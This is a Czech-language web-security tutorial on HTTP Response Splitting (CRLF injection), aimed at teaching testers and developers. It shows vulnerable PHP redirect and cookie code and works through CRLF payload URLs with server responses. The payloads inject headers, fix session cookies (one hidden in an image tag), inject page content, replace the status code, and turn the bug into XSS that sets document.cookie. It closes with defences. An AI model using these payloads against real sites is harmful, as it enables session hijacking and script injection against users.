Zpět na seznam článků     Číst komentáře (0)     Verze pro tisk

HTTP Response Splitting

Autor: .cCuMiNn.   
23.2.2016

Zranitelnost HTTP Response Splitting je často označována také za CRLF injection, protože je při jejím zneužití využíváno bílých znaků CR a LF pro přechod na nový řádek. Ve skutečnosti je zranitelnost HTTP Response Splitting pouze podmnožinou zranitelností známých jako CRLF injection.


Zůstanu-li ještě chvíli u používaného názvosloví, můžete se v praxi setkat také s označením HTTP Header Injection, což již synonymum pro HTTP Response Splitting skutečně je. I zde by se o tom ale dalo chvíli polemizovat, vzhledem k tomu, že injkci HTTP hlaviček je teoreticky možné uskutečnit i jinými způsoby než jen těmi, které zde budou popsány, tedy rozdělením HTTP hlavičky na více částí.

Se zranitelností HTTP Response Splitting se můžete setkat tam, kde je uživateli umožněno vložit libovolnou hodnotu do oddílu hlaviček v odpovědi serveru. Konkrétně jde o taková místa v aplikaci, kdy server převezme uživatelský vstup a vloží jej do některé HTTP hlavičky, kterou pak vrátí v rámci své odpovědi na uživatelský požadavek. Přesto, že se v praxi budete moci setkat i s perzistentním typem tohoto útoku, nejčastěji se budete potýkat právě s reflektovanou variantou.

HTTP Response Splitting jde často ruku v ruce se zranitelností Open Redirect, při níž útočník ovlivňuje hodnotu jež vstupuje do HTTP hlavičky Location.

Zranitelný kód v PHP
  1. <?php
  2.   $url = $_GET["url"];
  3.   header("Location: $url");
  4. ?>

Mezi zranitelná místa může patřit ale také například část kódu, která je zodpovědná za nastavení obsahu cookie, pokud je i tato hodnota přebírána od uživatelů.

Zranitelný kód v PHP
  1. <?php
  2.   $lang = $_POST["language"];
  3.   header("Set-Cookie: lang=$lang");
  4. ?>

Jak napovídá samotný název zranitelnosti, půjde během útoku o rozdělení HTTP hlaviček. Útočník se totiž může pokusit o vložení bílých znaků pro přechod na nový řádek, čímž původní hlavičku rozdělí a do odpovědi serveru vloží další libovolné HTTP hlavičky.

Vezměme si první z výše uvedených ukázkových kódů, jenž slouží pro redirect uživatele na jinou webovou stránku. Jeho legitimní použití demonstruje následující odkaz.

http://www.hackmail.cz/redir.php?url=http://www.attacker.cz


Reakce serveru bude taková, že hodnoha proměnné url se bude reflektovat do HTTP hlavičky Location, viz výpis komunikace.

 HTTP/1.1 302 Found
 Date: Sun, 21 Feb 2016 21:12:27 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.6-1+lenny9
 Location: http://www.attacker.cz
 Vary: Accept-Encoding
 Connection: close
 Content-Type: text/html

Nyní si na tomto redirektu pojďme předvést některé varianty zneužití zranitelnosti HTTP Response Splitting.

http://www.hackmail.cz/redir.php?url=http://www.attacker.cz%0D%0ATestHeader:HeaderValue


Když po odeslání tohoto požadavku prozkoumáte obsah HTTP komunikace, zjistíte, že server vrací odpověď podobnou té z následujícího výpisu.

 HTTP/1.1 302 Found
 Date: Sun, 21 Feb 2016 21:12:27 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.6-1+lenny9
 Location: http://www.attacker.cz
 TestHeader: HeaderValue
 Vary: Accept-Encoding
 Connection: close
 Content-Type: text/html

Bílé znaky %0D a %0A z odkazu mají svá jména CR (Carriage Return) a LF (Line Feed) a slouží právě pro přechod na nový řádek (odentrování). Zde měly za následek zalomení HTTP hlavičky Location a tím vytvoření nové HTTP hlavičky TestHeader s hodnotou HeaderValue.

Vždy, když budete testovat webovou aplikaci a narazíte na místo, kde se Váš výstup objevuje v hlavičkách vrácené odpovědi, měli byste otestovat chování aplikace při vložení uvedené sekvence bílých znaků. Pokud dojde k rozdělení hlaviček do více řádků, je aplikace zranitelná a útočník tak dostává do rukou nástroj, který mu umožňuje hned několik možností zneužití.

Můžete se setkat také s případem, kdy sice můžete řádek zalomit, ale za znaky CRLF musí být uvedena mezera nebo tabulátor. V takovém případě se o HTTP Response Splitting nejedná, protože HTTP hlavička, která začíná mezerou se stále vztahuje k předchozímu řádku. Nepůjde tedy o novou hlavičku.


Možnosti zneužití

Nastavení cookies

Jeden z možných útoků by mohl využívat injekce hlavičky Set-Cookie k nastavení obsahu libovolné cookie. Dopady by pak byly závislé na konkrétním použití a účelu této cookie. My se zaměříme na možnost ovlivnění hodnoty cookie, která obsahuje ID relace. Pokud totiž útočník může manipulovat s touto hodnotou, lze zneužití zranitelnosti HTTP Response Splitting s úspěchem kombinovat například se zranitelností Session Fixation, nebo Session Donation, pokud je na ně aplikace rovněž náchylná.

Nastavit uživateli cookie s identifikátorem relace skrze zranitelný redirekt by bylo možné uskutečnit tímto způsobem:

http://www.hackmail.cz?redir.php?url=http://www.attacker.cz%0D%0ASet-Cookie:PHPSESSID=1234567890abcdef

 HTTP/1.1 302 Found
 Date: Sun, 21 Feb 2016 21:12:27 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.6-1+lenny9
 Location: http://www.attacker.cz
 Set-Cookie:PHPSESSID=1234567890abcdef
 Vary: Accept-Encoding
 Connection: close
 Content-Type: text/html

Pro lepší zamaskování tohoto typu útoku by bylo možné vložit uvedený odkaz do zdroje obrázku.

  1. <img src="http://www.hackmail.cz/redir.php?url=http://www.attacker.cz/attacker.jpg%0D%0ASet-Cookie:PHPSESSID=1234567890abcdef">

Pokud si tímto způsobem vložíte obrázek na svou webovou stránku a při návštěvě této stránky si prohlédnete HTTP komunikaci, zjistíte, že Váš prohlížeč vyšle požadavek na stažení obrázku z URL http://www.hackmail.cz/redir.php. Redirektovací skript ovšem Vašemu prohlížeči oznámí, ať si pro obrázek sáhne na novou adresu http://www.attacker.cz/attacker.jpg a současně ať si nastaví PHPSESSID cookie na hodnotu 1234567890abcdef. Doménou, která Váš prohlížeč požádá o nastavení cookie, bude ovšem www.hackmail.cz, na které se nachází redirektovací skript. Nastavené cookie proto bude přiřazeno této doméně. V konečném důsledku jste sice navštívili (Vaší) webovou stránku, ale vedlejším efektem bylo, že jste přinutili zranitelnou aplikaci (s redirektem) k nastavení cookie pro tuto cílovou doménu.

To, zda se Vám cookie nastaví nebo ne, záleží ovšem také na tom, jak máte ve svém prohlížeči nastaveno přijímání cookies třetích stran. Pokud máte jejich ukládání zakázáno, bylo by nutné uvedený obrázek uložit na doménu www.hackmail.cz. V případě uvedeného webmailu by to takový problém nebyl, protože by stačilo jeho prostřednictvím odeslat uživateli e-mailovou zprávu s takto vloženým obrázkem. V jiných případech bude ale nutné využít zranitelnost HTTP Response Splitting poněkud jiným způsobem, viz níže.

Injekce vlastního obsahu webové stránky

Nejen HTTP hlavičky může útočník injektovat. Stačí si uvědomit, jak jsou v HTTP odpovědi oděleny HTTP hlavičky od samotného obsahu webové stránky.

 HTTP/1.1 200 OK
 Date: Sun, 21 Feb 2016 19:10:45 GMT
 Server: Apache/2.2.22 (Win64) mod_ssl/2.2.22 OpenSSL/1.0.1c PHP/5.3.13
 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Content-Length: 182
 Content-Type: text/html; charset=utf-8

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 <html lang="cs">
   <head>
     <title>My page</title>
   </head>
   <body>
     <h1>My page</h1>
   </body>
 </html>

Vidíte, že zmíněné oblasti od sebe odděluje pouze jeden prázdný řádek, a jak Vás již patrně napadlo, nebude problém tento prázdný řádek při HTTP Response Splitting útoku rovněž vložit. Pro jeho injektáž bude stačit pouhé vložení dvou přechodů na nový řádek za sebou.

http://www.hackmail.cz/redir.php?url=http%3A%2F%2Fwww.attacker.cz%0D%0A%0D%0AToto%20je%20muj%20obsah

 HTTP/1.1 302 Found
 Date: Sun, 21 Feb 2016 21:12:27 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.6-1+lenny9
 Location: http://www.attacker.cz
 Vary: Accept-Encoding
 Content-Length: 17
 Connection: close
 Content-Type: text/html

 Toto je muj obsah

Z výpisu je patrné, že se podařilo injektovat vlastní obsah přesně podle očekávání. Tento obsah se ovšem nezobrazí. Namísto toho budete opět přesměrováni na doménu attacker.cz. Aby došlo k zobrazení injektovaného obsahu, bude nutné změnit také vrácený status kód. Ani to ale nebude žádný problém. Opět jej stačí stejným způsobem injektovat do HTTP hlaviček a tím původní status nahradit.

http://www.hackmail.cz/redir.php?url=%0D%0AHTTP/1.1%20200%20OK%0D%0A%0D%0AToto%20je%20muj%20obsah

 HTTP/1.1 200 OK
 Date: Sun, 21 Feb 2016 21:21:49 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.6-1+lenny9
 Location:
 Vary: Accept-Encoding
 Content-Length: 17
 Connection: close
 Content-Type: text/html

 Toto je muj obsah

Pokud byste nyní chtěli obejít omezení při ukládání cookies třetích stran, se kterým jsme se setkali o pár odstavců výše, mohli byste cookies nastavit již přímo z cílové domény. Abych demonstroval, že kód injektovaný za prázdný žádek přejímá kontext domény s redirektem, uvádím následující příklad, který vyvolá spuštění Javascriptu. Z jeho výstupu je patrné, že se jedná o plnohodnotný Cross-Site Scripting (XSS).

http://www.hackmail.cz/redir.php?url=%0D%0AHTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C/script%3E



Snadné nastavení požadované hodnoty cookies pro cílovou doménu Vám tedy zajistí například následující kód

http://www.hackmail.cz/redir.php?url=%0D%0AHTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Edocument.cookie=%22PHPSESSID=456test456;%20expires=Thu,%2031%20Dec%202020%2012:00:00%20UTC;%20path=/%22;%3C/script%3E


Je ovšem otázkou, zda by v případě, že na cílové doméně můžeme spustit vlastní kód Javascriptu, nebyly pro útočníka výhodnější zcela jiné varianty útoku.

~

Na konkrétních případech jsme si ukázali některé možnosti praktického zneužití zranitelnosti HTTP Response Splitting. V reálném světě umožňují útoky HTTP Response Splitting (někdy pouze ve spojení s dalšími slabinami aplikace) například tyto typy útoků


Obrana

Ochranu nabízí některé programovací jazyky implicitně. Například funkce header() a setcookie() v PHP od verzí 4.4.2 a 5.1.2 již neumožní hlavičky rozdělit. Při pokusu o injektáž dochází k zobrazení následujícího varování.

 Warning: Header may not contain more than a single header, new line detected in /var/www/redir.php on line 3
 Call Stack: 0.0006 669832 1. {main}() /var/www/redir.php:0 0.0006 670056 2. header() /var/www/redir.php:3

Vyvolání této chybové zprávy ovšem prozrazuje některé zajímavé informace, viz zranitelnost Full Path Disclosure (FPD). Přestože se tedy nepodařilo hlavičky rozdělit, přesto útočník nezůstal bez odměny.

V jazycích, které podobnou ochranu nenabízí (případně i v PHP, pokud budete chtít ošetřovat útoky HTTP Response Splitting explicitně), se jako vhodná ochrana nabízí filtrování a odstraňování bílých znaků ve vstupu uživatele před tím, než tuto hodnotu vložíte do obsahu HTTP hlavičky.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2.5/6

1  2  3  4  5    
(známkování jako ve škole)